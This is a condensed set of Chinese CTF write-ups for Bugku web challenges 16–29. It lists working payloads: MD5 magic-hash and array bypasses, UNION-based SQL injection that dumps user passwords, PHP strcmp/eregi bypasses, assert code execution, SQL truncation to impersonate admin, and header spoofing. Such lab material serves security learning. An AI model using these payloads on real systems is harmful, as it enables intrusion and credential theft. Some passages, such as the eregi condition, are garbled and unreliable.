【说明】 整合资源 简略版本2020Bugku write up
web16 备份是个好习惯
/index.php.bak 查看php代码
1.因为md5()函数加密不能处理数组,则key1和key2的返回值为空,即可获得flag
http://123.206.87.240:8002/web16/?kkeyey1[]=1&kkeyey2[]=4
2.利用==比较漏洞
如果两个字符经MD5加密后的值为 0exxxxx形式,就会被认为是科学计数法,且表示的是0*10的xxxx次方,还是零,都是相等的。
下列的字符串的MD5值都是0e开头的:
QNKCDZO
240610708
s878926199a
s155964671a
s214587387a
s214587387a
http://123.206.87.240:8002/web16/?kkeyey1=s214587387a&kkeyey2=240610708
参考连接:https://blog.csdn.net/qq_42133828/article/details/84871544?utm_medium=distribute.pc_relevant.none-task-blog-searchFromBaidu-2.not_use_machine_learn_pai&depth_1-utm_source=distribute.pc_relevant.none-task-blog-searchFromBaidu-2.not_use_machine_learn_pai
web17 sql注入
sqlmap工具或Hackbar手动注入
1.判断是否存在注入,注入是字符型还是数字型
抓包更改参数id为
1′ or 1=1 #
2.猜解SQL查询语句中的字段数
1 order by 2 #
1 order by 3 #
3.确定显示的字段顺序
1 union select 1,2 #
4.获取当前数据库
1 union select 1,database() #
5.获取数据库中的表
1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #
6.获取表中的字段名
1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0×7573657273 #
7.下载数据
1 or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #
参考链接:https://blog.csdn.net/qq_35811830/article/details/86655279?utm_medium=distribute.pc_relevant_t0.none-task-blog-BlogCommendFromBaidu-1.not_use_machine_learn_pai&depth_1-utm_source=distribute.pc_relevant_t0.none-task-blog-BlogCommendFromBaidu-1.not_use_machine_learn_pai
web18 秋名山老司机
python脚本 requests get post eval()
https://blog.csdn.net/weixin_41607190/article/details/87932977
web19 快
python requests 两次base64解码
https://blog.csdn.net/changer_WE/article/details/88805322?utm_medium=distribute.pc_relevant_t0.none-task-blog-searchFromBaidu-1.not_use_machine_learn_pai&depth_1-utm_source=distribute.pc_relevant_t0.none-task-blog-searchFromBaidu-1.not_use_machine_learn_pai
web20 cookie欺骗
base64 index.php line=1 margin欺骗
filename参数显然是base64加密,解密后为keys.txt, line参数猜测为代码行数,尝试将filename改为index.php的base64加密,line不同显示不同行的代码,写一个python脚本跑出所有代码,根据代码逻辑,存在 keys.php页面,且必须 传送margin参数才能访问,使用hackbar传送cookie参数margin,在网站源码 找到flag。
https://blog.csdn.net/changer_WE/article/details/88978647?utm_medium=distribute.pc_relevant_t0.none-task-blog-searchFromBaidu-1.control&depth_1-utm_source=distribute.pc_relevant_t0.none-task-blog-searchFromBaidu-1.control
web 21 never give up
1.跳转 抓包或 view-source:
2.三重加密 url% base64 url
3.php
3.1stripos函数 伪协议绕过stripos php://input
3.2 .eregi函数 可以用数组绕过,也可以用%00截断
int eregi(string pattern, string string, [array regs]);
strlen(b)>5anderegi("111".substr(b)>5anderegi("111".substr(b)>5anderegi("111".substr(b,0,1),“1114”)andsubstr($b,0,1)!=4
b=%0012345 ereg函数存在NULL截断漏洞
或者*12345或者?12345或者.12345(这里是运用了正则表达式的思想)
3.3 id==0 id=%00或者id=.或者id=0e1
扩展php:https://skysec.top/2017/07/22/PHP%E5%87%BD%E6%95%B0%E9%BB%91%E9%AD%94%E6%B3%95%E5%B0%8F%E6%80%BB%E7%BB%93/
参考链接:
https://www.cnblogs.com/cyc-endeavor/p/10375692.html
https://blog.csdn.net/qq_34072526/article/details/86946759?utm_medium=distribute.pc_relevant.none-task-blog-BlogCommendFromMachineLearnPai2-2.control&depth_1-utm_source=distribute.pc_relevant.none-task-blog-BlogCommendFromMachineLearnPai2-2.control
web22
关键字:php scandir()函数、assert代码执行漏洞
?s=print_r(scandir(’./’)) 读取目录及子目录下所有文件名的方法
最简单的是print_r(scandir($dir)),还可以利用print_r(glob("."))
scandir() //作用能扫描文件夹下的目录和文件,返回值为所有文件名组成的一个数组
show_source() //显示文件源码
highlight_file() //和show_source()函数是一个意思
构造: http://123.206.87.240:8010/ ?s=print_r(scandir(’./’))
参考连接:https://www.cnblogs.com/0yst3r-2046/p/10781215.html
web23 正则
?id = keyabkeyabcdkey:/a/keya?
“/key.*key.{4,7}key:/./(.*key)[a-z][[:punct:]]/i”
. 匹配除 “\n” 之外的任何单个字符
-
匹配它前面的表达式0次或多次,等价于{0,}
{4,7} 最少匹配 4 次且最多匹配 7 次,结合前面的 . 也就是匹配 4 到 7 个任意字符
/ 匹配 / ,这里的 \ 是为了转义
[a-z] 匹配所有小写字母
[:punct:] 匹配任何标点符号
/i 表示不分大小写
https://www.cnblogs.com/0x200/p/13739130.html
web 24
关键字 hash strcmpy
?v1=240610708&v2=s878926199a&v3[]=1
1.md5 hash
利用比较漏洞
如果两个字符经MD5加密后的值为 0exxxxx形式,就会被认为是科学计数法,且表示的是0*10的xxxx次方,还是零,都是相等的。
下列的字符串的MD5值都是0e开头的:
QNKCDZO
240610708
s878926199a
s155964671a
s214587387a
s214587387a
2.strcmp绕过
strcmp比较的是字符串类型,如果强行传入其他类型参数,会出错,出错后返回值0,正是利用这点进行绕过。
flag[]=xxx 》》 strcmp比较出错 》》返回null 》》null0 》》条件成立得到flag
web25 hint:SQL约束攻击
1.注册一个在数据库中会被认为是admin的账户,然后使用这个admin账户登录。
注册用户名
admin (我注册的admin后面有20个空格)
密码随便弄一个,但要符合要求
2.注册成功之后用你注册的登陆
知识点
1.在SQL中执行字符串处理时,字符串末尾的空格符将会被删除。换句话说“vampire”等同于“vampire ”,对于绝大多数情况来说都是成立的(诸如WHERE子句中的字符串或INSERT语句中的字符串)例如以下语句的查询结果,与使用用户名“vampire”进行查询时的结果是一样的。
SELECT * FROM users WHERE username='vampire ';
但也存在异常情况,最好的例子就是LIKE子句了。注意,对尾部空白符的这种修剪操作,主要是在“字符串比较”期间进行的。这是因为,SQL会在内部使用空格来填充字符串,以便在比较之前使其它们的长度保持一致。
2.在所有的INSERT查询中,SQL都会根据varchar(n)来限制字符串的最大长度。也就是说,如果字符串的长度大于“n”个字符的话,那么仅使用字符串的前“n”个字符。比如特定列的长度约束为“5”个字符,那么在插入字符串“vampire”时,实际上只能插入字符串的前5个字符,即“vampi”。
参考链接
web26 google
构造referer字段
referer: https://www.google.com
参考链接:https://blog.csdn.net/qq_43271194/article/details/89970819
web 27 hash碰撞
?a=240610708
md5 hash
利用==比较漏洞
如果两个字符经MD5加密后的值为 0exxxxx形式,就会被认为是科学计数法,且表示的是0*10的xxxx次方,还是零,都是相等的。
下列的字符串的MD5值都是0e开头的:
QNKCDZO
240610708
s878926199a
s155964671a
s214587387a
s214587387a
web28 请从本地访问
抓包 添加字段 X-Forwarded-For:127.0.0.1
X-Forwarded-For(伪装头部)知识点:https://www.jianshu.com/p/98c08956183d
web29 各种绕过
关键字: sha1 get post
知识点: sha1 构造数组
步骤:读懂源代码,uname get, passed post ,只要使uname的sha1的值与passwd的sha1的值相等即可,但是同时他们两个的值又不能相等
构造 /?uname[]=1&id=margin 并发送 passwd[]=2 的 postdata 请求即可
https://www.cnblogs.com/0yst3r-2046/p/10928402.html